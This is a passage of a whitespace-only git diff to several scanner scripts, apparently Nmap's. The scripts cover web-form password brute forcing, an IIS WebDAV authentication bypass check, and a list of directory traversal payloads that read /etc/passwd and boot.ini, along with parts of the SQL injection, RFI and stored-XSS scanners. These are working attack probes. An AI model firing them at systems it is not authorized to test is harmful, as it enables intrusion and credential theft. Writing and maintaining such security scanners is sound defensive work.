- -- We check whether the body was empty or that we have a body without our user- and pass-var
- if ( success ) then
- nmap.registry['credentials'] = nmap.registry['credentials'] or {}
- nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
- table.insert( nmap.registry.credentials.http, { username = username, password = password } )
- return true, brute.Account:new( username, password, creds.State.VALID)
- end
+ -- We check whether the body was empty or that we have a body without our user- and pass-var
+ if ( success ) then
+ nmap.registry['credentials'] = nmap.registry['credentials'] or {}
+ nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
+ table.insert( nmap.registry.credentials.http, { username = username, password = password } )
+ return true, brute.Account:new( username, password, creds.State.VALID)
+ end
- return false, brute.Error:new( "Incorrect password" )
- end,
+ return false, brute.Error:new( "Incorrect password" )
+ end,
- disconnect = function( self )
- return true
- end,
+ disconnect = function( self )
+ return true
+ end,
- check = function( self )
- return true
- end,
+ check = function( self )
+ return true
+ end,
- postRequest = function( host, port, path, options )
- local response = http.post( host, port, path, { no_cache = true }, nil, options )
- local status = ( response and tonumber(response.status) ) or 0
- if ( status > 300 and status < 400 ) then
- local new_path = url.absolute(path, response.header.location)
- response = http.get( host, port, new_path, { no_cache = true } )
- end
- return response
- end,
+ postRequest = function( host, port, path, options )
+ local response = http.post( host, port, path, { no_cache = true }, nil, options )
+ local status = ( response and tonumber(response.status) ) or 0
+ if ( status > 300 and status < 400 ) then
+ local new_path = url.absolute(path, response.header.location)
+ response = http.get( host, port, new_path, { no_cache = true } )
+ end
+ return response
+ end,
}
--- Attempts to auto-detect known form-fields
--
local function detectFormFields( host, port, path )
- local response = http.get( host, port, path )
- local user_field, pass_field
+ local response = http.get( host, port, path )
+ local user_field, pass_field
- if ( response.status == 200 ) then
- user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
- pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
+ if ( response.status == 200 ) then
+ user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
+ pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
- if ( not(pass_field) ) then
- pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
- end
- end
+ if ( not(pass_field) ) then
+ pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
+ end
+ end
- return user_field, pass_field
+ return user_field, pass_field
end
action = function( host, port )
- local uservar = stdnse.get_script_args('http-form-brute.uservar')
- local passvar = stdnse.get_script_args('http-form-brute.passvar')
- local path = stdnse.get_script_args('http-form-brute.path') or "/"
- local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
- local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
+ local uservar = stdnse.get_script_args('http-form-brute.uservar')
+ local passvar = stdnse.get_script_args('http-form-brute.passvar')
+ local path = stdnse.get_script_args('http-form-brute.path') or "/"
+ local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
+ local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
- local _
+ local _
- -- if now fields were given attempt to autodetect
- if ( not(uservar) and not(passvar) ) then
- uservar, passvar = detectFormFields( host, port, path )
- -- if now passvar was detected attempt to autodetect
- elseif ( not(passvar) ) then
- _, passvar = detectFormFields( host, port, path )
- end
+ -- if now fields were given attempt to autodetect
+ if ( not(uservar) and not(passvar) ) then
+ uservar, passvar = detectFormFields( host, port, path )
+ -- if now passvar was detected attempt to autodetect
+ elseif ( not(passvar) ) then
+ _, passvar = detectFormFields( host, port, path )
+ end
- -- uservar is optional, so only make sure we have a passvar
- if ( not( passvar ) ) then
- return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
- end
+ -- uservar is optional, so only make sure we have a passvar
+ if ( not( passvar ) ) then
+ return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
+ end
- if ( not(path) ) then
- return "\n ERROR: No path was specified (see http-form-brute.path)"
- end
+ if ( not(path) ) then
+ return "\n ERROR: No path was specified (see http-form-brute.path)"
+ end
- if ( onsuccess and onfailure ) then
- return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
- end
+ if ( onsuccess and onfailure ) then
+ return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
+ end
- local options = { [passvar] = "this_is_not_a_valid_password" }
- if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
+ local options = { [passvar] = "this_is_not_a_valid_password" }
+ if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
- local response = Driver.postRequest( host, port, path, options )
- if ( not(response) or not(response.body) or response.status ~= 200 ) then
- return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
- end
+ local response = Driver.postRequest( host, port, path, options )
+ if ( not(response) or not(response.body) or response.status ~= 200 ) then
+ return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
+ end
- -- try to detect onfailure match
- if ( onfailure and not(response.body:match(onfailure)) ) then
- return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
- elseif ( not(onfailure) and
- not(onsuccess) and
- not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
- return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
- end
+ -- try to detect onfailure match
+ if ( onfailure and not(response.body:match(onfailure)) ) then
+ return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
+ elseif ( not(onfailure) and
+ not(onsuccess) and
+ not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
+ return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
+ end
- local engine = brute.Engine:new( Driver, host, port, {
- uservar = uservar, passvar = passvar,
- path = path, onsuccess = onsuccess, onfailure = onfailure
- }
- )
- -- there's a bug in http.lua that does not allow it to be called by
- -- multiple threads
- engine:setMaxThreads(1)
- engine.options.script_name = SCRIPT_NAME
+ local engine = brute.Engine:new( Driver, host, port, {
+ uservar = uservar, passvar = passvar,
+ path = path, onsuccess = onsuccess, onfailure = onfailure
+ }
+ )
+ -- there's a bug in http.lua that does not allow it to be called by
+ -- multiple threads
+ engine:setMaxThreads(1)
+ engine.options.script_name = SCRIPT_NAME
- if ( not(uservar) ) then
- engine.options:setOption( "passonly", true )
- end
- local status, result = engine:start()
+ if ( not(uservar) ) then
+ engine.options:setOption( "passonly", true )
+ end
+ local status, result = engine:start()
- return result
+ return result
end
diff --git a/scripts/http-iis-webdav-vuln.nse b/scripts/http-iis-webdav-vuln.nse
index 696cda4d1..2cca54d55 100644
--- a/scripts/http-iis-webdav-vuln.nse
+++ b/scripts/http-iis-webdav-vuln.nse
@@ -43,170 +43,170 @@ portrule = shortport.http
---Enumeration for results
local enum_results =
{
- VULNERABLE = 1,
- NOT_VULNERABLE = 2,
- UNKNOWN = 3
+ VULNERABLE = 1,
+ NOT_VULNERABLE = 2,
+ UNKNOWN = 3
}
---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response.
local function get_response(host, port, folder)
- local webdav_req = ''
+ local webdav_req = ''
- local options = {
- header = {
- Host = host.ip,
- Connection = "close",
- ["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
- ["Content-Type"] = "application/xml",
- },
- content = webdav_req
- }
+ local options = {
+ header = {
+ Host = host.ip,
+ Connection = "close",
+ ["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
+ ["Content-Type"] = "application/xml",
+ },
+ content = webdav_req
+ }
- return http.generic_request(host, port, "PROPFIND", folder, options)
+ return http.generic_request(host, port, "PROPFIND", folder, options)
end
---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
local function go_single(host, port, folder)
- local response
+ local response
- response = get_response(host, port, folder)
- if(response.status == 401) then
- local vuln_response
- local check_folder
+ response = get_response(host, port, folder)
+ if(response.status == 401) then
+ local vuln_response
+ local check_folder
- stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
+ stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
- -- check for IIS 6.0 and 5.1
- -- doesn't appear to work on 5.0
- -- /secret/ becomes /s%c0%afecret/
- check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
- vuln_response = get_response(host, port, check_folder)
- if(vuln_response.status == 207) then
- stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
- return enum_results.VULNERABLE
- else
- stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
- return enum_results.NOT_VULNERABLE
- end
- else
- if(response['status-line'] ~= nil) then
- stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
- elseif(response['status'] ~= nil) then
- stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
- else
- stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
- end
- return enum_results.UNKNOWN
- end
+ -- check for IIS 6.0 and 5.1
+ -- doesn't appear to work on 5.0
+ -- /secret/ becomes /s%c0%afecret/
+ check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
+ vuln_response = get_response(host, port, check_folder)
+ if(vuln_response.status == 207) then
+ stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
+ return enum_results.VULNERABLE
+ else
+ stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
+ return enum_results.NOT_VULNERABLE
+ end
+ else
+ if(response['status-line'] ~= nil) then
+ stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
+ elseif(response['status'] ~= nil) then
+ stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
+ else
+ stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
+ end
+ return enum_results.UNKNOWN
+ end
end
---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
local function go(host, port)
- local status, folder
- local results = {}
- local is_vulnerable = true
+ local status, folder
+ local results = {}
+ local is_vulnerable = true
- local folder_file
+ local folder_file
local farg = nmap.registry.args.folderdb
folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
- if(folder_file == nil) then
- return false, "Couldn't find http-folders.txt (should be in nselib/data)"
- end
+ if(folder_file == nil) then
+ return false, "Couldn't find http-folders.txt (should be in nselib/data)"
+ end
- local file = io.open(folder_file, "r")
- if not file then
- return false, ("Couldn't find or open %s"):format(folder_file)
- end
+ local file = io.open(folder_file, "r")
+ if not file then
+ return false, ("Couldn't find or open %s"):format(folder_file)
+ end
- while true do
- local result
- local line = file:read()
- if not line then
- break
- end
+ while true do
+ local result
+ local line = file:read()
+ if not line then
+ break
+ end
- if(nmap.registry.args.basefolder ~= nil) then
- line = "/" .. nmap.registry.args.basefolder .. "/" .. line
- else
- line = "/" .. line
- end
+ if(nmap.registry.args.basefolder ~= nil) then
+ line = "/" .. nmap.registry.args.basefolder .. "/" .. line
+ else
+ line = "/" .. line
+ end
- result = go_single(host, port, line)
- if(result == enum_results.VULNERABLE) then
- results[#results + 1] = line
- elseif(result == enum_results.NOT_VULNERABLE) then
- is_vulnerable = false
- else
- end
- end
+ result = go_single(host, port, line)
+ if(result == enum_results.VULNERABLE) then
+ results[#results + 1] = line
+ elseif(result == enum_results.NOT_VULNERABLE) then
+ is_vulnerable = false
+ else
+ end
+ end
- file:close()
+ file:close()
- return true, results, is_vulnerable
+ return true, results, is_vulnerable
end
action = function(host, port)
- -- Start by checking if '/' is protected -- if it is, we can't do the tests
- local result = go_single(host, port, "/")
- if(result == enum_results.NOT_VULNERABLE) then
- stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
- return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
- end
+ -- Start by checking if '/' is protected -- if it is, we can't do the tests
+ local result = go_single(host, port, "/")
+ if(result == enum_results.NOT_VULNERABLE) then
+ stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
+ return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
+ end
- stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
+ stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
- local response = get_response(host, port, "/")
- if(response.status == 501) then
- -- WebDAV is disabled
- stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
- return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
- else
- if(response.status == 207) then
- -- PROPFIND works, WebDAV is enabled
- stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
- else
- -- probably not running IIS 5.0/5.1/6.0
- if(response['status-line'] ~= nil) then
- stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
- elseif(response['status'] ~= nil) then
- stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
- else
- stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
- end
- return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
- end
- end
+ local response = get_response(host, port, "/")
+ if(response.status == 501) then
+ -- WebDAV is disabled
+ stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
+ return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
+ else
+ if(response.status == 207) then
+ -- PROPFIND works, WebDAV is enabled
+ stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
+ else
+ -- probably not running IIS 5.0/5.1/6.0
+ if(response['status-line'] ~= nil) then
+ stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
+ elseif(response['status'] ~= nil) then
+ stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
+ else
+ stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
+ end
+ return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
+ end
+ end
- if(nmap.registry.args.webdavfolder ~= nil) then
- local folder = nmap.registry.args.webdavfolder
- local result = go_single(host, port, "/" .. folder)
+ if(nmap.registry.args.webdavfolder ~= nil) then
+ local folder = nmap.registry.args.webdavfolder
+ local result = go_single(host, port, "/" .. folder)
- if(result == enum_results.VULNERABLE) then
- return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
- elseif(result == enum_results.NOT_VULNERABLE) then
- return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
- else
- return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
- end
+ if(result == enum_results.VULNERABLE) then
+ return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
+ elseif(result == enum_results.NOT_VULNERABLE) then
+ return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
+ else
+ return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
+ end
- else
- local status, results, is_vulnerable = go(host, port)
+ else
+ local status, results, is_vulnerable = go(host, port)
- if(status == false) then
- return nmap.verbosity() > 0 and "ERROR: " .. results or nil
- else
- if(#results == 0) then
- if(is_vulnerable == false) then
- return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
- else
- return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=" or nil
- end
- else
- return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
- end
- end
- end
+ if(status == false) then
+ return nmap.verbosity() > 0 and "ERROR: " .. results or nil
+ else
+ if(#results == 0) then
+ if(is_vulnerable == false) then
+ return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
+ else
+ return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=" or nil
+ end
+ else
+ return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
+ end
+ end
+ end
end
diff --git a/scripts/http-passwd.nse b/scripts/http-passwd.nse
index fa9c75fae..e9dbd5b32 100644
--- a/scripts/http-passwd.nse
+++ b/scripts/http-passwd.nse
@@ -72,19 +72,19 @@ categories = {"intrusive", "vuln"}
--@param response The HTTP response from the server.
--@return The body of the HTTP response.
local validate = function(response)
- if not response.status then
- return nil
- end
+ if not response.status then
+ return nil
+ end
- if response.status ~= 200 then
- return nil
- end
+ if response.status ~= 200 then
+ return nil
+ end
- if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
- return response.body
- end
+ if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
+ return response.body
+ end
- return nil
+ return nil
end
--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
@@ -92,19 +92,19 @@ end
--@param str String to hexify.
--@return Transformed string.
local hexify = function(str)
- local ret
- ret = str:gsub("%.", "%%2E")
- ret = ret:gsub("/", "%%2F")
- ret = ret:gsub("\\", "%%5C")
- return ret
+ local ret
+ ret = str:gsub("%.", "%%2E")
+ ret = ret:gsub("/", "%%2F")
+ ret = ret:gsub("\\", "%%5C")
+ return ret
end
--- Truncates the passwd or boot.ini file.
--@param passwd passwd or boot.inifile.
--@return Truncated passwd file and truncated length.
local truncatePasswd = function(passwd)
- local len = 250
- return passwd:sub(1, len), len
+ local len = 250
+ return passwd:sub(1, len), len
end
--- Formats output.
@@ -112,83 +112,83 @@ end
--@param dir Formatted request which elicited the good reponse.
--@return String description for output
local output = function(passwd, dir)
- local trunc, len = truncatePasswd(passwd)
- local out = ""
- out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
- out = out .. "Printing first " .. len .. " bytes:\n"
- out = out .. trunc
- return out
+ local trunc, len = truncatePasswd(passwd)
+ local out = ""
+ out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
+ out = out .. "Printing first " .. len .. " bytes:\n"
+ out = out .. trunc
+ return out
end
portrule = shortport.http
action = function(host, port)
- local dirs = {
- hexify("//etc/passwd"),
- hexify(string.rep("../", 10) .. "etc/passwd"),
- hexify(string.rep("../", 10) .. "boot.ini"),
- hexify(string.rep("..\\", 10) .. "boot.ini"),
- hexify("." .. string.rep("../", 10) .. "etc/passwd"),
- hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
- hexify(string.rep("..\\", 10) .. "etc\\passwd"),
+ local dirs = {
+ hexify("//etc/passwd"),
+ hexify(string.rep("../", 10) .. "etc/passwd"),
+ hexify(string.rep("../", 10) .. "boot.ini"),
+ hexify(string.rep("..\\", 10) .. "boot.ini"),
+ hexify("." .. string.rep("../", 10) .. "etc/passwd"),
+ hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
+ hexify(string.rep("..\\", 10) .. "etc\\passwd"),
- -- These don't get hexified because they are targeted at
- -- specific known vulnerabilities.
- '..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
- --miniwebsvr
- '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
- '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
- --Acritum Femitter Server
- '\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
- --zervit Web Server and several others
- 'index.html?../../../../../boot.ini',
- 'index.html?..\\..\\..\\..\\..\\boot.ini',
- --Mongoose Web Server
- '///..%2f..%2f..%2f..%2fboot.ini',
- '/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
- '/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
- -- Yaws 1.89
- '/..\\/..\\/..\\/boot.ini',
- '/..\\/\\..\\/\\..\\/\\boot.ini',
- '/\\../\\../\\../boot.ini',
- '////..\\..\\..\\boot.ini',
- --MultiThreaded HTTP Server v1.1
- '/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
- --uHttp Server
- '/../../../../../../../etc/passwd',
- --Java Mini Web Server
- '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
- '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
- }
+ -- These don't get hexified because they are targeted at
+ -- specific known vulnerabilities.
+ '..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
+ --miniwebsvr
+ '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
+ '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
+ --Acritum Femitter Server
+ '\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
+ --zervit Web Server and several others
+ 'index.html?../../../../../boot.ini',
+ 'index.html?..\\..\\..\\..\\..\\boot.ini',
+ --Mongoose Web Server
+ '///..%2f..%2f..%2f..%2fboot.ini',
+ '/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
+ '/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
+ -- Yaws 1.89
+ '/..\\/..\\/..\\/boot.ini',
+ '/..\\/\\..\\/\\..\\/\\boot.ini',
+ '/\\../\\../\\../boot.ini',
+ '////..\\..\\..\\boot.ini',
+ --MultiThreaded HTTP Server v1.1
+ '/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
+ --uHttp Server
+ '/../../../../../../../etc/passwd',
+ --Java Mini Web Server
+ '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
+ '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
+ }
- for _, dir in ipairs(dirs) do
- local response = http.get(host, port, dir)
+ for _, dir in ipairs(dirs) do
+ local response = http.get(host, port, dir)
- if validate(response) then
- return output(response.body, dir)
- end
- end
+ if validate(response) then
+ return output(response.body, dir)
+ end
+ end
- local root = stdnse.get_script_args("http-passwd.root") or "/"
+ local root = stdnse.get_script_args("http-passwd.root") or "/"
- -- Check for something that looks like a query referring to a file name, like
- -- "index.php?page=next.php". Replace the query value with each of the test
- -- vectors. Add an encoded null byte at the end to bypass some checks; see
- -- http://insecure.org/news/P55-01.txt.
- local response = http.get(host, port, root)
- if response.body then
- local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
- if page_var then
- local query_base = root .. "?" .. page_var .. "="
- stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
+ -- Check for something that looks like a query referring to a file name, like
+ -- "index.php?page=next.php". Replace the query value with each of the test
+ -- vectors. Add an encoded null byte at the end to bypass some checks; see
+ -- http://insecure.org/news/P55-01.txt.
+ local response = http.get(host, port, root)
+ if response.body then
+ local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
+ if page_var then
+ local query_base = root .. "?" .. page_var .. "="
+ stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
- for _, dir in ipairs(dirs) do
- local response = http.get(host, port, query_base .. dir .. "%00")
+ for _, dir in ipairs(dirs) do
+ local response = http.get(host, port, query_base .. dir .. "%00")
- if validate(response) then
- return output(response.body, dir)
- end
- end
- end
- end
+ if validate(response) then
+ return output(response.body, dir)
+ end
+ end
+ end
+ end
end
diff --git a/scripts/http-rfi-spider.nse b/scripts/http-rfi-spider.nse
index 51789908b..a6c72460f 100644
--- a/scripts/http-rfi-spider.nse
+++ b/scripts/http-rfi-spider.nse
@@ -173,27 +173,27 @@ function action(host, port)
check_response = function(body) return string.find(body, pattern_to_search) end
-- create a new crawler instance
- local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
- if ( not(crawler) ) then
- return
- end
+ if ( not(crawler) ) then
+ return
+ end
- local return_table = {}
+ local return_table = {}
- while(true) do
- local status, r = crawler:crawl()
+ while(true) do
+ local status, r = crawler:crawl()
- if ( not(status) ) then
- if ( r.err ) then
- return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
- else
- break
- end
- end
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
+ else
+ break
+ end
+ end
- -- first we try rfi on forms
- if r.response and r.response.body and r.response.status==200 then
+ -- first we try rfi on forms
+ if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain)
@@ -206,7 +206,7 @@ function action(host, port)
end
end
end --for
- end --if
+ end --if
-- now try inclusion by parameters
local injectable = {}
@@ -232,7 +232,7 @@ function action(host, port)
end
end
end
- end
- return stdnse.format_output(true, return_table)
+ end
+ return stdnse.format_output(true, return_table)
end
diff --git a/scripts/http-sql-injection.nse b/scripts/http-sql-injection.nse
index 58a707c80..27246c727 100644
--- a/scripts/http-sql-injection.nse
+++ b/scripts/http-sql-injection.nse
@@ -108,8 +108,8 @@ local function build_injection_vector(urls)
urlstr = url.build(utab)
table.insert(all, urlstr)
- qtab[k] = old_qtab
- utab.query = url.build_query(qtab)
+ qtab[k] = old_qtab
+ utab.query = url.build_query(qtab)
end
end
end
@@ -242,7 +242,7 @@ action = function(host, port)
end
-- first we try sqli on forms
- if r.response and r.response.body and r.response.status==200 then
+ if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain)
@@ -255,7 +255,7 @@ action = function(host, port)
end
end
end --for
- end --if
+ end --if
local links = {}
if r.response.status and r.response.body then
links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()
diff --git a/scripts/http-stored-xss.nse b/scripts/http-stored-xss.nse
index a793c7ace..091d8b70c 100644
--- a/scripts/http-stored-xss.nse
+++ b/scripts/http-stored-xss.nse
@@ -76,207 +76,207 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- Note, that more payloads will slow down your scan.
payloads = {
- -- Basic vectors. Each one is an indication of potential XSS vulnerability.
- { vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
- { vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
- { vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
- }
+ -- Basic vectors. Each one is an indication of potential XSS vulnerability.
+ { vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
+ { vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
+ { vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
+}
-- Create customized requests for all of our payloads.
local makeRequests = function(host, port, submission, fields, fieldvalues)
- local postdata = {}
- for _, p in ipairs(payloads) do
- for __, field in ipairs(fields) do
- if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
+ local postdata = {}
+ for _, p in ipairs(payloads) do
+ for __, field in ipairs(fields) do
+ if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
- local value = fieldvalues[field["name"]]
- if value == nil then
- value = p.vector
- end
-
- postdata[field["name"]] = value
-
- end
+ local value = fieldvalues[field["name"]]
+ if value == nil then
+ value = p.vector
end
+ postdata[field["name"]] = value
+
+ end
+ end
+
stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ")
for i, content in pairs(postdata) do
- stdnse.print_debug(2, i .. ": " .. content)
+ stdnse.print_debug(2, i .. ": " .. content)
end
local response = http.post(host, port, submission, { no_cache = true }, nil, postdata)
- end
+ end
end
local checkPayload = function(body, p)
- if (body:match(p)) then
- return true
- end
+ if (body:match(p)) then
+ return true
+ end
end
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local checkRequests = function(body, target)
- local output = {}
- for _, p in ipairs(payloads) do
- if checkPayload(body, p.vector) then
- local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
- if p.description then
- report = report .. "\n\t Description: " .. p.description
- end
